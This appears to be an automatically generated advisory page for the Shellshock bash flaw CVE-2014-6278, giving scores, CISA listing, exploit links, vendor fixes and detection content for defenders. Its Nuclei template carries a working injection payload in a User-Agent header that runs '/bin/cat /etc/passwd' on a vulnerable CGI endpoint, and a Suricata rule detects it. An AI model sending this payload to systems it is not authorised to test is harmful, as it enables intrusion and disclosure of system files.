CVE-2014-6278: GNU Bash OS Command Injection Vulnerability

What it is

GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.

Description quoted from the CVE record (assigned by debian, published 2014-09-30).

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and a user must take an action. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since

2025-10-02

US federal deadline

2025-10-23

Ransomware use

Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2014-00319, BDU:2015-09794, BDU:2015-09818, CNNVD-201409-1110, EDB-34860, EDB-34900, EDB-36933, EDB-39568, EDB-39887, EUVD-2014-3619, EUVD-2014-6163, EUVD-2014-7099, GHSA-6493-28fj-f93w, JVNDB-2014-000126

VEDAS cluster: VEDAS:AUTUMNCHILL

Exploit Observer links 9 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (9)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Exploit-DB: https://www.exploit-db.com/raw/34860
• Exploit-DB: https://www.exploit-db.com/raw/34900
• Exploit-DB: https://www.exploit-db.com/raw/36933
• Exploit-DB: https://www.exploit-db.com/raw/39568
• Exploit-DB: https://www.exploit-db.com/raw/39887
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2014/CVE-2014-6278.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2014/CVE-2014-6278.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2014/CVE-2014-6278.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2014/CVE-2014-6278.rules

Research and write-ups (1)

• Research or write-up: https://support.novell.com/security/cve/CVE-2014-6278.html

Vulnerability databases and vendor advisories (14)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2014-3619
• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2014-6163
• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2014-7099
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-6493-28fj-f93w
• Vulnerability database or vendor advisory: https://jvndb.jvn.jp/en/contents/2014/JVNDB-2014-000126.html
• Vulnerability database or vendor advisory: https://jvndb.jvn.jp/jvndb/JVNDB-2014-000126
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2014-6278
• Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2014-6278
• Vulnerability database or vendor advisory: https://osv.dev/vulnerability/UBUNTU-CVE-2014-6278
• Vulnerability database or vendor advisory: https://security-tracker.debian.org/tracker/CVE-2014-6278
• Vulnerability database or vendor advisory: https://ubuntu.com/security/CVE-2014-6278
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2014-6278
• and 2 more

165 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

0.997
very likely to be attacked soon

VEDAS

0.983
strong exploit evidence

On CISA KEV

Yes, since 2025-10-02

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 46 days before CISA confirmed attacks.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

• HPSBMU03165 (vendor-advisory, x_refsource_HP)
• SSRT101819 (vendor-advisory, x_refsource_HP)
• HPSBMU03245 (vendor-advisory, x_refsource_HP)
• HPSBMU03143 (vendor-advisory, x_refsource_HP)
• HPSBMU03182 (vendor-advisory, x_refsource_HP)
• HPSBST03155 (vendor-advisory, x_refsource_HP)
• openSUSE-SU-2014:1310 (vendor-advisory, x_refsource_SUSE)
• HPSBMU03246 (vendor-advisory, x_refsource_HP)

How to detect it

Nuclei template (active check)

Oracle Global Desktop - Command Injection

GNU Bash through 4.3 (Shellshock) does not properly parse function definitions in environment variable values, allowing remote attackers to execute arbitrary commands via a crafted environment. This is reachable over HTTP through mod_cgi scripts such as the Oracle/Sun Secure Global Desktop tarantella CGI.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /tarantella/cgi-bin/modules.cgi); it decides using regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2014-6278.yaml

id: CVE-2014-6278

info:
  name: "Oracle Global Desktop - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    GNU Bash through 4.3 (Shellshock) does not properly parse function definitions in environment variable values, allowing remote attackers to execute arbitrary commands via a crafted environment. This is reachable over HTTP through mod_cgi scripts such as the Oracle/Sun Secure Global Desktop tarantella CGI.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2014-6278&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tarantella&match=exact
  classification:
    cve-id: CVE-2014-6278
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2014,shellshock,kev,cmdi

http:
  - method: GET
    path:
      - "{{BaseURL}}/tarantella/cgi-bin/modules.cgi"
    headers:
      User-Agent: "() { :; }; echo; /bin/cat /etc/passwd"
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200

CVE-2014-6278.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2014-6278 Oracle Global Desktop - Command Injection. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2014-6278 Oracle Global Desktop - Command Injection"; flow:established,to_server; http.uri; content:"/tarantella/cgi-bin/modules.cgi"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2014-6278; reference:url,https://www.exploit.observer/?keyword=CVE-2014-6278&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=tarantella&match=exact; sid:1018424; rev:1;)

CVE-2014-6278.rules on GitHub

Advisories on this CVE

• Joint advisory AA26-281A: Chinese “Integrity Technology Group” enabled actors (8 Oct 2026)

References

Vendor advisories and patches

• HPSBMU03165 (vendor-advisory, x_refsource_HP)
• SSRT101819 (vendor-advisory, x_refsource_HP)
• HPSBMU03245 (vendor-advisory, x_refsource_HP)
• HPSBMU03143 (vendor-advisory, x_refsource_HP)
• HPSBMU03182 (vendor-advisory, x_refsource_HP)
• HPSBST03155 (vendor-advisory, x_refsource_HP)
• openSUSE-SU-2014:1310 (vendor-advisory, x_refsource_SUSE)
• HPSBMU03246 (vendor-advisory, x_refsource_HP)
• USN-2380-1 (vendor-advisory, x_refsource_UBUNTU)
• HPSBMU03217 (vendor-advisory, x_refsource_HP)
• SSRT101868 (vendor-advisory, x_refsource_HP)
• HPSBST03129 (vendor-advisory, x_refsource_HP)

Exploits and technical analysis

• JVN#55667175 (third-party-advisory, x_refsource_JVN)
• 60433 (third-party-advisory, x_refsource_SECUNIA)
• 61816 (third-party-advisory, x_refsource_SECUNIA)
• 61442 (third-party-advisory, x_refsource_SECUNIA)
• 61283 (third-party-advisory, x_refsource_SECUNIA)
• 61654 (third-party-advisory, x_refsource_SECUNIA)
• 62312 (third-party-advisory, x_refsource_SECUNIA)
• 61703 (third-party-advisory, x_refsource_SECUNIA)
• 61065 (third-party-advisory, x_refsource_SECUNIA)
• JVNDB-2014-000126 (third-party-advisory, x_refsource_JVNDB)
• 61641 (third-party-advisory, x_refsource_SECUNIA)
• 39887 (exploit, x_refsource_EXPLOIT-DB)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2014-6278 (government-resource)

Other references

• http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004897 (x_refsource_CONFIRM)
• http://www-01.ibm.com/support/docview.wss?uid=swg21685749 (x_refsource_CONFIRM)
• https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk102673&src=securityAlerts (x_refsource_CONFIRM)
• http://linux.oracle.com/errata/ELSA-2014-3093 (x_refsource_CONFIRM)
• http://www-01.ibm.com/support/docview.wss?uid=swg21686479 (x_refsource_CONFIRM)
• http://packetstormsecurity.com/files/137344/Sun-Secure-Global-Desktop-Oracle-Global-Desktop-Shellshock.html (x_refsource_MISC)
• http://www-01.ibm.com/support/docview.wss?uid=swg21685541 (x_refsource_CONFIRM)
• http://www.oracle.com/technetwork/topics/security/bashcve-2014-7169-2317675.html (x_refsource_CONFIRM)
• https://kc.mcafee.com/corporate/index?page=content&id=SB10085 (x_refsource_CONFIRM)
• http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5096315 (x_refsource_CONFIRM)
• https://support.f5.com/kb/en-us/solutions/public/15000/600/sol15629.html (x_refsource_CONFIRM)
• https://security-tracker.debian.org/tracker/CVE-2014-6278 (x_refsource_CONFIRM)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.